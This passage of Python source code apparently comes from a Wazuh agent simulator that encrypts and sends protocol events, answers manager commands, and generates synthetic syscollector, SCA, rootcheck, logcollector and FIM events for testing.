               break\n            else:\n                raise ValueError(f\"The agent {self.name} was not correctly enrolled.\")\n        else:\n            self._register_helper()\n\n    @staticmethod\n    def wazuh_padding(compressed_event):\n        \"\"\"Add the Wazuh custom padding to each event sent.\n        Args:\n            compressed_event (bytes): Compressed event with zlib.\n        Returns:\n            bytes: Padded event.\n        Examples:\n            >>> wazuh_padding(b'x\\\\x9c\\\\x15\\\\xc7\\\\xc9\\\\r\\\\x00 \\\\x08\\\\x04\\\\xc0\\\\x96\\\\\\\\\\\\x94\\\\xcbn0H\\\\x03\\\\xda\\\\x7f\n                               \\\\x8c\\\\xf3\\\\x1b\\\\xd9e\\\\xec\\\\nJ[\\\\x04N\\\\xcf\\\\xa8\\\\xa6\\\\xa8\\\\x12\\\\x8d\\\\x08!\\\\xfe@}\\\\xb0\n                               \\\\xa89\\\\xe6\\\\xef\\\\xbc\\\\xfb\\\\xdc\\\\x07\\\\xb7E\\\\x0f\\\\x1b)\n                b'!!!!!!!!x\\\\x9c\\\\x15\\\\xc7\\\\xc9\\\\r\\\\x00 \\\\x08\\\\x04\\\\xc0\\\\x96\\\\\\\\\\\\x94\\\\xcbn0H\\\\x03\\\\xda\\\\x7f\\\\x8c\\\\xf3\n                \\\\x1b\\\\xd9e\\\\xec\\\\nJ[\\\\x04N\\\\xcf\\\\xa8\\\\xa6\\\\xa8\\\\x12\\\\x8d\\\\x08!\\\\xfe@}\\\\xb0\\\\xa89\\\\xe6\\\\xef\\\\xbc\\\\xfb\n                \\\\xdc\\\\x07\\\\xb7E\\\\x0f\\\\x1b'\n        \"\"\"\n        padding = 8\n        extra = len(compressed_event) % padding\n        if extra > 0:\n            padded_event = (b'!' * (padding - extra)) + compressed_event\n        else:\n            padded_event = (b'!' * padding) + compressed_event\n        return padded_event\n\n    def create_encryption_key(self):\n        \"\"\"Generate encryption key (using agent metadata and key).\"\"\"\n        agent_id = self.id.encode()\n        name = self.name.encode()\n        key = self.key.encode()\n        sum1 = (hashlib.md5((hashlib.md5(name).hexdigest().encode()\n                             + hashlib.md5(agent_id).hexdigest().encode())).hexdigest().encode())\n        sum1 = sum1[:15]\n        sum2 = hashlib.md5(key).hexdigest().encode()\n        key = sum2 + sum1\n        self.encryption_key = key\n\n    @staticmethod\n    def compose_event(message):\n        \"\"\"Compose event from raw message.\n        Returns:\n            bytes: Composed event.\n        Examples:\n            >>> compose_event('test')\n            b'6ef859712d8b215d9daf071ff67aaa62555551234567891:5555:test'\n        \"\"\"\n        message = message.encode()\n        random_number = b'55555'\n        global_counter = b'1234567891'\n        split = b':'\n        local_counter = b'5555'\n        msg = random_number + global_counter + split + local_counter + split + message\n        msg_md5 = hashlib.md5(msg).hexdigest()\n        event = msg_md5.encode() + msg\n        return event\n\n    def encrypt(self, padded_event):\n        \"\"\"Encrypt event using AES or Blowfish encryption.\n        Args:\n            padded_event (bytes): Padded event.\n        Returns:\n            bytes: Encrypted event.\n        Examples:\n            >>> agent.encrypt(b'!!!!!!!!x\\\\x9c\\\\x15\\\\xc7\\\\xc9\\\\r\\\\x00 \\\\x08\\\\x04\\\\xc0\\\\x96\\\\\\\\\\\\x94\\\\xcbn0H\\\\x03\\\\xda\n                               \\\\x7f\\\\x8c\\\\xf3\\\\x1b\\\\xd9e\\\\xec\\\\nJ[\\\\x04N\\\\xcf\\\\xa8\\\\xa6\\\\xa8\\\\x12\\\\x8d\\\\x08!\\\\xfe@}\n                               \\\\xb0\\\\xa89\\\\xe6\\\\xef\\\\xbc\\\\xfb\\\\xdc\\\\x07\\\\xb7E\\\\x0f\\\\x1b')\n                b\"\\\\xf8\\\\x8af[\\\\xfc'\\\\xf6j&1\\\\xd5\\\\xe1t|\\\\x810\\\\xe70G\\\\xe3\\\\xbc\\\\x8a\\\\xdbV\\\\x94y\\\\xa3A\\\\xb5q\\\\xf7\n                \\\\xb52<\\\\x9d\\\\xc8\\\\x83=o1U\\\\x1a\\\\xb3\\\\xf1\\\\xf5\\\\xde\\\\xe0\\\\x8bV\\\\xe99\\\\x9ej}#\\\\xf1\\\\x99V\\\\x12NP^T\n                \\\\xa0\\\\rYs\\\\xa2n\\\\xe8\\\\xa5\\\\xb1\\\\r[<V\\\\x16%q\\\\xfc\"\n        \"\"\"\n        encrypted_event = None\n        if self.cypher == \"aes\":\n            encrypted_event = Cipher(padded_event, self.encryption_key).encrypt_aes()\n        if self.cypher == \"blowfish\":\n            encrypted_event = Cipher(padded_event, self.encryption_key).encrypt_blowfish()\n        return encrypted_event\n\n    def headers(self, agent_id, encrypted_event):\n        \"\"\"\n        Add event headers for AES or Blowfish Cyphers.\n        Args:\n            agent_id (str): Agent id.\n            encrypted_event (str): Encrypted event.\n        Returns:\n            bytes: Encrypted event with headers.\n        \"\"\"\n        header = None\n        if self.cypher == \"aes\":\n            header = \"!{0}!#AES:\".format(agent_id).encode()\n        if self.cypher == \"blowfish\":\n            header = \"!{0}!:\".format(agent_id).encode()\n        return header + encrypted_event\n\n    def create_event(self, message):\n        \"\"\"Build an event from a raw string message.\n        Args:\n            message (str): Raw message.\n        Returns:\n            bytes: Built event (compressed, padded, enceypted and with headers).\n        Examples:\n            >>> create_event('test message')\n            b'!005!#AES:\\\\xab\\\\xfa\\\\xcc2;\\\\x87\\\\xab\\\\x7fUH\\\\x03>_J\\\\xda=I\\\\x96\\\\xb5\\\\xa4\\\\x89\\\\xbe\\\\xbf`\\\\xd0\\\\xad\n            \\\\x03\\\\x06\\\\x1aN\\\\x86 \\\\xc2\\\\x98\\\\x93U\\\\xcc\\\\xf5\\\\xe3@%\\\\xabS!\\\\xd3\\\\x9d!\\\\xea\\\\xabR\\\\xf9\\\\xd3\\\\x0b\\\\\n            xcc\\\\xe8Y\\\\xe31*c\\\\x17g\\\\xa6M\\\\x0b&\\\\xc0>\\\\xc64\\\\x815\\\\xae\\\\xb8[bg\\\\xe3\\\\x83\\\\x0e'\n        \"\"\"\n        # Compose event\n        event = self.compose_event(message)\n        # Compress\n        compressed_event = zlib.compress(event)\n        # Padding\n        padded_event = self.wazuh_padding(compressed_event)\n        # Encrypt\n        encrypted_event = self.encrypt(padded_event)\n        # Add headers\n        headers_event = self.headers(self.id, encrypted_event)\n\n        return headers_event\n\n    def receive_message(self, sender):\n        \"\"\"Agent listener to receive messages and process the accepted commands.\n        Args:\n            sender (Sender): Object to establish connection with the manager socket and receive/send information.\n        \"\"\"\n        while self.stop_receive == 0:\n            if is_tcp(sender.protocol):\n                try:\n                    rcv = sender.socket.recv(4)\n                    if len(rcv) == 4:\n                        data_len = wazuh_unpack(rcv)\n                        buffer_array = sender.socket.recv(data_len)\n                        if data_len != len(buffer_array):\n                            continue\n                    else:\n                        continue\n                except MemoryError:\n                    logging.critical(f\"Memory error, trying to allocate {data_len}.\")\n                    return\n                except Exception:\n                    return\n            else:\n                buffer_array, client_address = sender.socket.recvfrom(65536)\n            index = buffer_array.find(b'!')\n            if index == 0:\n                index = buffer_array[1:].find(b'!')\n                buffer_array = buffer_array[index + 2:]\n            if self.cypher == \"aes\":\n                msg_remove_header = bytes(buffer_array[5:])\n                msg_decrypted = Cipher(msg_remove_header, self.encryption_key).decrypt_aes()\n            else:\n                msg_remove_header = bytes(buffer_array[1:])\n                msg_decrypted = Cipher(msg_remove_header, self.encryption_key).decrypt_blowfish()\n            try:\n                padding = 0\n                while msg_decrypted:\n                    if msg_decrypted[padding] == 33:\n                        padding += 1\n                    else:\n                        break\n                msg_remove_padding = msg_decrypted[padding:]\n                msg_decompress = zlib.decompress(msg_remove_padding)\n                msg_decoded = msg_decompress.decode('ISO-8859-1')\n                self.process_message(sender, msg_decoded)\n            except zlib.error:\n                logging.error(\"Corrupted message from the manager. Continuing.\")\n\n    def stop_receiver(self):\n        \"\"\"Stop Agent listener.\"\"\"\n        self.stop_receive = 1\n\n    def process_message(self, sender, message):\n        \"\"\"Process agent received messages.\n        If the message contains reserved words, then it will be proceed as command.\n        Args:\n            sender (Sender): Object to establish connection with the manager socket and receive/send information.\n            message (str): Decoder message in ISO-8859-1 format.\n        \"\"\"\n        msg_decoded_list = message.split(' ')\n        self.rcv_msg_queue.put(message)\n        if '#!-req' in msg_decoded_list[0]:\n            self.process_command(sender, msg_decoded_list)\n        elif '#!-up' in msg_decoded_list[0]:\n            kind, checksum, name = msg_decoded_list[1:4]\n            if kind == 'file' and \"merged.mg\" in name:\n                self.update_checksum(checksum)\n        elif '#!-force_reconnect' in msg_decoded_list[0]:\n            sender.reconnect(self.startup_msg)\n\n    def process_command(self, sender, message_list):\n        \"\"\"Process agent received commands through the socket.\n        Args:\n            sender (Sender): Object to establish connection with the manager socket and receive/send information.\n            message_list (list): Message split by white spaces.\n        Raises:\n            ValueError: if 'sha1' command and sha_key Agent value is not defined.\n            ValueError: if execution result is not configured in the Agent.\n            ValueError: if command is not recognized.\n        \"\"\"\n\n        req_code = message_list[1]\n\n        if 'com' in message_list:\n            \"\"\"Examples:\n            ['12d95abf04334f90f8dc3140031b3e7b342680000000130:5489:#!-req', '81d15486', 'com', 'close',\n                'wazuh_agent_v4.2.0_linux_x86_64.wpk']\n            ['dff5324c331a37d56978f7f034f2634e599120000000130:5490:#!-req', '81d15487', 'com', 'sha1',\n                'wazuh_agent_v4.2.0_linux_x86_64.wpk']\n            ['8c0e7a8d75fea76016040ce436f9fb41193290000000130:5491:#!-req', '81d15488', 'com', 'upgrade',\n                'wazuh_agent_v4.2.0_linux_x86_64.wpk', 'upgrade.sh']\n            \"\"\"\n            com_index = message_list.index('com')\n            command = message_list[com_index + 1]\n\n        elif 'upgrade' in message_list:\n            \"\"\"Examples:\n            ['5e085e566814750136f3926f758349cb232030000000130:5492:#!-req', '81d15489', 'upgrade',\n                '{\"command\":\"clear_upgrade_result\",\"parameters\":{}}']\n            \"\"\"\n            com_index = message_list.index('upgrade')\n            json_command = json.loads(message_list[com_index + 1])\n            command = json_command['command']\n        elif 'getconfig' in message_list:\n            \"\"\"Examples:\n            ['ececac937b8e5dead15e9096e8bd5215214970000000002:3090:#!-req', 'c2b2c9e3', 'agent', 'getconfig', 'client']\n            \"\"\"\n            command = 'getconfig'\n        elif 'getstate' in message_list:\n            \"\"\"Examples:\n            ['ececac937b8e5dead15e9096e8bd5215214970000000002:3090:#!-req', 'c2b2c9e3', 'logcollector', 'getstate']\n            \"\"\"\n            command = 'getstate'\n        else:\n            return\n\n        logging.debug(f\"Processing command: {message_list}\")\n\n        if command in ['lock_restart', 'open', 'write', 'close', 'clear_upgrade_result']:\n            if command == 'lock_restart' and self.stage_disconnect == 'lock_restart':\n                self.stop_receive = 1\n            elif command == 'open' and self.stage_disconnect == 'open':\n                self.stop_receive = 1\n            elif command == 'write' and self.stage_disconnect == 'write':\n                self.stop_receive = 1\n            elif command == 'close' and self.stage_disconnect == 'close':\n                self.stop_receive = 1\n            elif command == 'clear_upgrade_result' and self.stage_disconnect == 'clear_upgrade_result':\n                self.stop_receive = 1\n            else:\n                if self.short_version < \"4.1\" or command == 'lock_restart':\n                    sender.send_event(self.create_event(f'#!-req {req_code} ok '))\n                else:\n                    sender.send_event(self.create_event(f'#!-req {req_code} '\n                                                        f'{{\"error\":0, \"message\":\"ok\", \"data\":[]}} '))\n        elif command == 'getconfig':\n            response_json = '{\"client\":{\"config-profile\":\"centos8\",\"notify_time\":10,\"time-reconnect\":60}}'\n            sender.send_event(self.create_event(f'#!-req {req_code} ok {response_json}'))\n        elif command == 'getstate':\n            response_json = '{\"error\":0,\"data\":{\"global\":{\"start\":\"2021-02-26, 06:41:26\",\"end\":\"2021-02-26 08:49:19\"}}}'\n            sender.send_event(self.create_event(f'#!-req {req_code} ok {response_json}'))\n        elif command == 'sha1':\n            # !-req num ok {sha}\n            if self.sha_key:\n                if command == 'sha1' and self.stage_disconnect == 'sha1':\n                    self.stop_receive = 1\n                else:\n                    if self.short_version < \"4.1\":\n                        sender.send_event(self.create_event(f'#!-req {req_code} '\n                                                            f'ok {self.sha_key}'))\n                    else:\n                        sender.send_event(self.create_event(f'#!-req {req_code} {{\"error\":0, '\n                                                            f'\"message\":\"{self.sha_key}\", \"data\":[]}}'))\n            else:\n                raise ValueError('WPK SHA key should be configured in agent')\n\n        elif command == 'upgrade':\n            if self.upgrade_exec_result:\n                if command == 'upgrade' and self.stage_disconnect == 'upgrade':\n                    self.stop_receive = 1\n                else:\n                    if self.short_version < \"4.1\":\n                        sender.send_event(self.create_event(f'#!-req {req_code} ok {self.upgrade_exec_result}'))\n                    else:\n                        sender.send_event(self.create_event(f'#!-req {req_code} {{\"error\":0, '\n                                                            f'\"message\":\"{self.upgrade_exec_result}\", \"data\":[]}}'))\n                    if self.send_upgrade_notification:\n                        message = 'Upgrade was successful' if self.upgrade_script_result == 0 else 'Upgrade failed'\n                        status = 'Done' if self.upgrade_script_result == 0 else 'Failed'\n                        upgrade_update_status_message = {\n                            'command': 'upgrade_update_status',\n                            'parameters': {\n                                'error': self.upgrade_script_result,\n                                'message': message,\n                                'status': status,\n                            }\n                        }\n                        sender.send_event(self.create_event(\"u:upgrade_module:\" +\n                                                            json.dumps(upgrade_update_status_message)))\n            else:\n                raise ValueError(f'Execution result should be configured in agent')\n        else:\n            raise ValueError(f'Unrecognized command {command}')\n\n    def create_hc_startup(self):\n        \"\"\"Set the agent startup event.\"\"\"\n        msg = \"#!-agent startup \"\n        self.startup_msg = self.create_event(msg)\n\n    def create_keep_alive(self):\n        \"\"\"Set the keep alive event from keepalives operating systemd data.\"\"\"\n        with open(os.path.join(_data_path, 'keepalives.txt'), 'r') as fp:\n            line = fp.readline()\n            while line:\n                if line.strip(\"\\n\") == self.os:\n                    msg = fp.readline()\n                    line = fp.readline()\n                    while line and line.strip(\"\\n\") not in os_list:\n                        msg = msg + line\n                        line = fp.readline()\n                    break\n                line = fp.readline()\n        try:\n            msg = msg.replace(\"<VERSION>\", self.long_version)\n            msg = msg.replace(\"<MERGED_CHECKSUM>\", self.merged_checksum)\n        except UnboundLocalError:\n            logging.critical(\"Error creating keep alive for the agent. Check if the OS is in the keepalives.txt\")\n\n        if self.labels:\n            msg_as_list = msg.split('\\n')\n            for key, value in self.labels.items():\n                msg_as_list.insert(1, f'\"{key}\":{value}')\n            msg = '\\n'.join(msg_as_list)\n\n        logging.debug(f\"Keep alive message = {msg}\")\n\n        self.keep_alive_event = self.create_event(msg)\n        self.keep_alive_raw_msg = msg\n\n    def initialize_modules(self, disable_all_modules):\n        \"\"\"Initialize and enable agent modules.\n        Args:\n            disable_all_modules (boolean): True to disable all modules, False to leave the default ones enabled.\n        \"\"\"\n        for module in ['syscollector', 'rootcheck', 'fim', 'fim_integrity', 'receive_messages', 'keepalive']:\n            if disable_all_modules:\n                self.modules[module]['status'] = 'disabled'\n\n        if self.modules['syscollector']['status'] == 'enabled':\n            self.init_syscollector()\n        if self.modules['rootcheck']['status'] == 'enabled':\n            self.init_rootcheck()\n        if self.modules['fim']['status'] == 'enabled':\n            self.init_fim()\n        if self.modules['fim_integrity']['status'] == 'enabled':\n            self.init_fim_integrity()\n        if self.modules['hostinfo']['status'] == 'enabled':\n            self.init_hostinfo()\n        if self.modules['winevt']['status'] == 'enabled':\n            self.init_winevt()\n        if self.modules['sca']['status'] == 'enabled':\n            self.init_sca()\n        if self.modules['logcollector']['status'] == 'enabled':\n            self.init_logcollector()\n\n    def init_logcollector(self):\n        \"\"\"Initialize logcollector module.\"\"\"\n        if self.logcollector is None:\n            self.logcollector = Logcollector(enable_msg_number=self.logcollector_msg_number,\n                                             custom_logcollector_message=self.custom_logcollector_message)\n\n    def init_sca(self):\n        \"\"\"Initialize init_sca module.\"\"\"\n        if self.sca is None:\n            self.sca = SCA(self.os)\n\n    def init_syscollector(self):\n        \"\"\"Initialize syscollector module.\"\"\"\n        if self.syscollector is None:\n            self.syscollector = GeneratorSyscollector(self.name, self.syscollector_batch_size)\n\n    def init_rootcheck(self):\n        \"\"\"Initialize rootcheck module.\"\"\"\n        if self.rootcheck is None:\n            self.rootcheck = Rootcheck(os=self.os, agent_name=self.name, agent_id=self.id,\n                                       rootcheck_sample=self.rootcheck_sample)\n\n    def init_fim(self):\n        \"\"\"Initialize fim module.\"\"\"\n        if self.fim is None:\n            self.fim = GeneratorFIM(self.id, self.name, self.short_version)\n\n    def init_fim_integrity(self):\n        \"\"\"Initialize fom integrity module.\"\"\"\n        if self.fim_integrity is None:\n            self.fim_integrity = GeneratorIntegrityFIM(self.id, self.name, self.short_version)\n\n    def init_hostinfo(self):\n        \"\"\"Initialize hostinfo module.\"\"\"\n        if self.hostinfo is None:\n            self.hostinfo = GeneratorHostinfo()\n\n    def init_winevt(self):\n        \"\"\"Initialize winevt module.\"\"\"\n        if self.winevt is None:\n            self.winevt = GeneratorWinevt(self.name, self.id)\n\n    def get_agent_info(self, field):\n        agent_info = wdb.query_wdb(f\"global get-agent-info {self.id}\")\n\n        if len(agent_info) > 0:\n            field_value = agent_info[0][field]\n        else:\n            field_value = \"Not in global.db\"\n        return field_value\n\n    def get_agent_version(self):\n        return self.get_agent_info('version')\n\n    def get_connection_status(self):\n        \"\"\"Get agent connection status of global.db.\n        Returns:\n            str: Agent connection status (connected, disconnected, never_connected)\n        \"\"\"\n        return self.get_agent_info('connection_status')\n\n    @retry(AttributeError, attempts=10, delay=5, delay_multiplier=1)\n    def wait_status_active(self):\n        \"\"\"Wait until agent status is active in global.db.\n        Raises:\n            AttributeError: If the agent is not active. Combined with the retry decorator makes a wait loop\n                until the agent is active.\n        \"\"\"\n        status = self.get_connection_status()\n\n        if status == 'active':\n            return\n        raise AttributeError(f\"Agent is not active yet: {status}\")\n\n    def set_module_status(self, module_name, status):\n        \"\"\"Set module status.\n        Args:\n            module_name (str): Module name.\n            status (str): Module status.\n        \"\"\"\n        self.modules[module_name]['status'] = status\n\n    def set_module_attribute(self, module_name, attribute, value):\n        \"\"\"Set module attribute.\n        Args:\n            module_name (str): Module name.\n            attribute (str): Attribute name to change.\n            value: Attribute value.\n        \"\"\"\n        self.modules[module_name][attribute] = value\n\n\nclass GeneratorSyscollector:\n    \"\"\"This class allows the generation of syscollector events.\n    Create events of different syscollector event types Network, Process, Port, Packages, OS, Hardware and Hotfix.\n    In order to change messages events it randomized different fields of templates specified by <random_string>.\n    In order to simulate syscollector module, it send a set of the same syscollector type messages,\n    which size is specified by `batch_size` attribute. Example of syscollector message:\n        d:syscollector:{\"type\":\"network\",\"ID\":18,\"timestamp\":\"2021/03/26 00:00:00\",\"iface\":{\"name\":\"O977Q1F55O\",\n        \"type\":\"ethernet\",\"state\":\"up\",\"MAC\":\"08:00:27:be:ce:3a\",\"tx_packets\":2135,\"rx_packets\":9091,\"tx_bytes\":210748,\n        \"rx_bytes\":10134272,\"tx_errors\":0,\"rx_errors\":0,\"tx_dropped\":0,\"rx_dropped\":0,\"MTU\":1500,\"IPv4\":\n        {\"address\":[\"10.0.2.15\"],\"netmask\":[\"255.255.255.0\"],\"broadcast\":[\"10.0.2.255\"],\n        \"metric\":100,\"gateway\":\"10.0.2.2\",\"DHCP\":\"enabled\"}}}\n    Args:\n        agent_name (str): Name of the agent.\n        batch_size (int): Number of messages of the same type\n    \"\"\"\n    def __init__(self, agent_name, batch_size):\n        self.current_batch_events = -1\n        self.current_batch_events_size = 0\n        self.list_events = ['network', 'port', 'hotfix',\n                            'process', 'packages', 'OS', 'hardware']\n        self.agent_name = agent_name\n        self.batch_size = batch_size\n        self.syscollector_tag = 'syscollector'\n        self.syscollector_mq = 'd'\n        self.current_id = 1\n\n    def format_event(self, message_type):\n        \"\"\"Format syscollector message of the specified type.\n        Args:\n            message_type (str): Syscollector event type.\n        Returns:\n            str: the generated syscollector event message.\n        \"\"\"\n        message = syscollector.SYSCOLLECTOR_HEADER\n        if message_type == 'network':\n            message += syscollector.SYSCOLLECTOR_NETWORK_EVENT_TEMPLATE\n        elif message_type == 'process':\n            message += syscollector.SYSCOLLECTOR_PROCESS_EVENT_TEMPLATE\n        elif message_type == 'port':\n            message += syscollector.SYSCOLLECTOR_PORT_EVENT_TEMPLATE\n        elif message_type == 'packages':\n            message += syscollector.SYSCOLLECTOR_PACKAGES_EVENT_TEMPLATE\n        elif message_type == 'OS':\n            message += syscollector.SYSCOLLECTOR_OS_EVENT_TEMPLATE\n        elif message_type == 'hardware':\n            message += syscollector.SYSCOLLECTOR_HARDWARE_EVENT_TEMPLATE\n        elif message_type == 'hotfix':\n            message += syscollector.SYSCOLLECTOR_HOTFIX_EVENT_TEMPLATE\n        elif 'end' in message_type:\n            message += '}'\n\n        today = date.today()\n        timestamp = today.strftime(\"%Y/%m/%d %H:%M:%S\")\n\n        fields_to_replace = [\n                        ('<agent_name>', self.agent_name), ('<random_int>', f\"{self.current_id}\"),\n                        ('<random_string>', get_random_string(10)),\n                        ('<timestamp>', timestamp), ('<syscollector_type>', message_type)\n                    ]\n\n        for variable, value in fields_to_replace:\n            message = message.replace(variable, value)\n\n        self.current_id += 1\n\n        message = f\"{self.syscollector_mq}:{self.syscollector_tag}:{message}\"\n\n        return message\n\n    def generate_event(self):\n        \"\"\"Generate syscollector event.\n         The event types are selected sequentially, creating a number of events of the same type specified\n         in `bath_size`.\n         Returns:\n            str: generated event with the desired format for syscollector\n        \"\"\"\n        if self.current_batch_events_size == 0:\n            self.current_batch_events = (self.current_batch_events + 1) % len(self.list_events)\n            self.current_batch_events_size = self.batch_size\n\n        if self.list_events[self.current_batch_events] not in ['network', 'port', 'process'] \\\n                or self.current_batch_events_size > 1:\n            event = self.list_events[self.current_batch_events]\n        else:\n            event = self.list_events[self.current_batch_events] + '_end'\n\n        self.current_batch_events_size = self.current_batch_events_size - 1\n        return self.format_event(event)\n\n\nclass SCA:\n    \"\"\"This class allows the generation of sca_label events.\n    Create sca events, both summary and check.\n    Args:\n        os (str): Agent operative system.\n    \"\"\"\n    def __init__(self, os):\n        self.last_scan_id = 0\n        self.os = os\n        self.count = 0\n        self.sca_mq = 'p'\n        self.sca_label = 'sca'\n        self.started_time = int(time())\n\n    def get_message(self):\n        \"\"\"Alternatively creates summary and check SCA messages.\n        Returns:\n            str: an sca_label message formatted with the required header codes.\n        \"\"\"\n        if self.count % 100 == 0:\n            msg = self.create_sca_event('summary')\n        else:\n            msg = self.create_sca_event('check')\n        self.count += 1\n\n        msg = msg.strip('\\n')\n\n        sca_msg = f\"{self.sca_mq}:{self.sca_label}:{msg}\"\n\n        return sca_msg\n\n    def create_sca_event(self, event_type):\n        \"\"\"Create sca_label event of the desired type.\n        Args:\n            event_type (str): Event type summary or check.\n        Returns:\n            dict: SCA event.\n        \"\"\"\n        event_data = dict()\n        event_data['type'] = event_type\n        event_data['scan_id'] = self.last_scan_id\n        self.last_scan_id += 1\n\n        def create_summary_sca_event(event_data):\n            event_data['name'] = f\"CIS Benchmark for {self.os}\"\n            event_data['policy_id'] = f\"cis_{self.os}_linux\"\n            event_data['file'] = f\"cis_{self.os}_linux.yml\"\n            event_data['description'] = 'This provides prescriptive guidance for establishing a secure configuration.'\n            event_data['references'] = 'https://www.cisecurity.org/cis-benchmarks'\n            total_checks = randint(0, 900)\n            passed_checks = randint(0, total_checks)\n            failed_checks = randint(0, total_checks - passed_checks)\n            invalid_checks = total_checks - failed_checks - passed_checks\n            event_data['passed'] = passed_checks\n            event_data['failed'] = failed_checks\n            event_data['invalid'] = invalid_checks\n            event_data['total_checks'] = total_checks\n            event_data['score'] = 20\n            event_data['start_time'] = self.started_time\n            self.started_time = int(time() + 1)\n            event_data['end_time'] = self.started_time\n            event_data['hash'] = getrandbits(256)\n            event_data['hash_file'] = getrandbits(256)\n            event_data['force_alert'] = '1'\n\n            return event_data\n\n        def create_check_sca_event(event_data):\n            event_data['type'] = 'check'\n            event_data['id'] = randint(0, 9999999999)\n            event_data['policy'] = f\"CIS Benchmark for {self.os}\"\n            event_data['policy_id'] = f\"cis_{self.os}_policy\"\n            event_data['check'] = {}\n            event_data['check']['id'] = randint(0, 99999)\n            event_data['check']['title'] = 'Ensure root is the only UID 0 account'\n            event_data['check']['description'] = 'Any account with UID 0 has superuser privileges on the system'\n            event_data['check']['rationale'] = 'This access must be limited to only the default root account'\n            event_data['check']['remediation'] = 'Remove any users other than root with UID 0'\n            event_data['check']['compliance'] = {}\n            event_data['check']['compliance']['cis'] = '6.2.6'\n            event_data['check']['compliance']['cis_csc'] = '5.1'\n            event_data['check']['compliance']['pci_dss'] = '10.2.5'\n            event_data['check']['compliance']['hipaa'] = '164.312.b'\n            event_data['check']['compliance']['nist_800_53'] = 'AU.14,AC.7'\n            event_data['check']['compliance']['gpg_13'] = '7.8'\n            event_data['check']['compliance']['gdpr_IV'] = '35.7,32.2'\n            event_data['check']['compliance']['tsc'] = 'CC6.1,CC6.8,CC7.2,CC7.3,CC7.4'\n            event_data['check']['rules'] = 'f:/etc/passwd -> !r:^# && !r:^\\\\\\\\s*\\\\\\\\t*root: && r:^\\\\\\\\w+:\\\\\\\\w+:0:\\\"]'\n            event_data['check']['condition'] = 'none'\n            event_data['check']['file'] = '/etc/passwd'\n            event_data['check']['result'] = choice(['passed', 'failed'])\n\n            return event_data\n\n        if event_type == 'summary':\n            event_data = create_summary_sca_event(event_data)\n        elif event_type == 'check':\n            event_data = create_check_sca_event(event_data)\n\n        return json.dumps(event_data)\n\n\nclass Rootcheck:\n    \"\"\"This class allows the generation of rootcheck events.\n    Creates rootcheck events by sequentially repeating the events of a sample file file.\n    Args:\n        agent_name (str): Name of the agent.\n        agent_id (str): Id of the agent.\n        rootcheck_sample (str, optional): File with the rootcheck events that are going to be used.\n    \"\"\"\n    def __init__(self, os, agent_name, agent_id, rootcheck_sample=None):\n        self.os = os\n        self.agent_name = agent_name\n        self.agent_id = agent_id\n        self.rootcheck_tag = 'rootcheck'\n        self.rootcheck_mq = '9'\n        self.messages_list = []\n        self.message = cycle(self.messages_list)\n        self.rootcheck_path = \"\"\n        self.rootcheck_sample = rootcheck_sample\n        self.setup()\n\n    def setup(self):\n        \"\"\"Initialized the list of rootcheck messages, using `rootcheck_sample` and agent information.\"\"\"\n        if self.rootcheck_sample is None:\n            self.rootcheck_path = os.path.join(_data_path, 'rootcheck.txt')\n        else:\n            self.rootcheck_path = os.path.join(_data_path, self.rootcheck_sample)\n\n        with open(self.rootcheck_path) as fp:\n            line = fp.readline()\n            while line:\n                if not line.startswith(\"#\"):\n                    msg = \"{0}:{1}:{2}\".format(self.rootcheck_mq, self.rootcheck_tag, line.strip(\"\\n\"))\n                    self.messages_list.append(msg)\n                line = fp.readline()\n\n    def get_message(self):\n        \"\"\"Returns a rootcheck message, informing when rootcheck scan starts and ends.\n        Returns:\n            str: a Rootcheck generated message\n        \"\"\"\n        message = next(self.message)\n        if message == 'Starting rootcheck scan.':\n            logging.debug(f\"Scan started - {self.agent_name}({self.agent_id}) \"\n                          f\"- rootcheck({self.rootcheck_path})\")\n        if message == 'Ending rootcheck scan.':\n            logging.debug(f\"Scan ended - {self.agent_name}({self.agent_id}) \"\n                          f\"- rootcheck({self.rootcheck_path})\")\n\n        return message\n\n\nclass Logcollector:\n    \"\"\"This class allows the generation of logcollector events.\"\"\"\n    def __init__(self, enable_msg_number=None, custom_logcollector_message=''):\n        self.logcollector_tag = 'syslog'\n        self.logcollector_mq = 'x'\n        # Those variables were added only in logcollector module to perform EPS test that need numbered messages.\n        self.message_counter = 0\n        self.enable_msg_number = enable_msg_number\n        self.custom_logcollector_message = custom_logcollector_message\n\n    def generate_event(self):\n        \"\"\"Generate logcollector event\n        Returns:\n            str: a Logcollector generated message\n        \"\"\"\n        if not self.custom_logcollector_message:\n            log = 'Mar 24 10:12:36 centos8 sshd[12249]: Invalid user random_user from 172.17.1.1 port 56550'\n        else:\n            log = self.custom_logcollector_message\n\n        if self.enable_msg_number:\n            message_counter_info = f\"Message number: {self.message_counter}\"\n            message = f\"{self.logcollector_mq}:{self.logcollector_tag}:{log}:{message_counter_info}\"\n            self.message_counter = self.message_counter + 1\n        else:\n            message = f\"{self.logcollector_mq}:{self.logcollector_tag}:{log}\"\n\n        return message\n\n\nclass GeneratorIntegrityFIM:\n    \"\"\"This class allows the generation of fim_integrity events.\n    Args:\n        agent_id (str): The id of the agent.\n        agent_name (str): The name of the agent.\n        agent_version (str): The version of the agent.\n    \"\"\"\n    def __init__(self, agent_id, agent_name, agent_version):\n        self.agent_id = agent_id\n        self.agent_name = agent_name\n        self.agent_version = agent_version\n        self.integrity_mq = \"5\"\n        self.event_type = None\n        self.fim_generator = GeneratorFIM(self.agent_id, self.agent_name, self.agent_version)\n\n    def format_message(self, message):\n        \"\"\"Format FIM integrity message.\n        Args:\n            message (str): Integrity fim event.\n        \"\"\"\n        return '{0}:[{1}] ({2}) any->syscheck:{3}'.format(self.integrity_mq, self.agent_id, self.agent_name, message)\n\n    def generate_message(self):\n        \"\"\"Generate integrity FIM message according to `event_type` attribute.\n        Returns:\n            str: an IntegrityFIM formatted message\n        \"\"\"\n        data = None\n        if self.event_type in [\"integrity_check_global\", \"integrity_check_left\", \"integrity_check_right\"]:\n            id = int(time())\n            data = {\"id\": id,\n                    \"begin\": self.fim_generator.random_file(),\n                    \"end\": self.fim_generator.random_file(),\n                    \"checksum\": self.fim_generator.random_sha1()}\n\n        if self.event_type == \"integrity_clear\":\n            id = int(time())\n            data = {\"id\": id}\n\n        if self.event_type == \"state\":\n            timestamp = int(time())\n            self.fim_generator.generate_attributes()\n            attributes = self.fim_generator.get_attributes()\n            data = {\"path\": self.fim_generator._file,\n                    \"timestamp\": timestamp,\n                    \"attributes\": attributes}\n\n        message = json.dumps({\"component\": \"syscheck\", \"type\": self.event_type, \"data\": data})\n        formatted_message = self.format_message(message)\n        return formatted_message\n\n    def get_message(self, event_type=None):\n        \"\"\"Generate a random kind of integrity FIM message 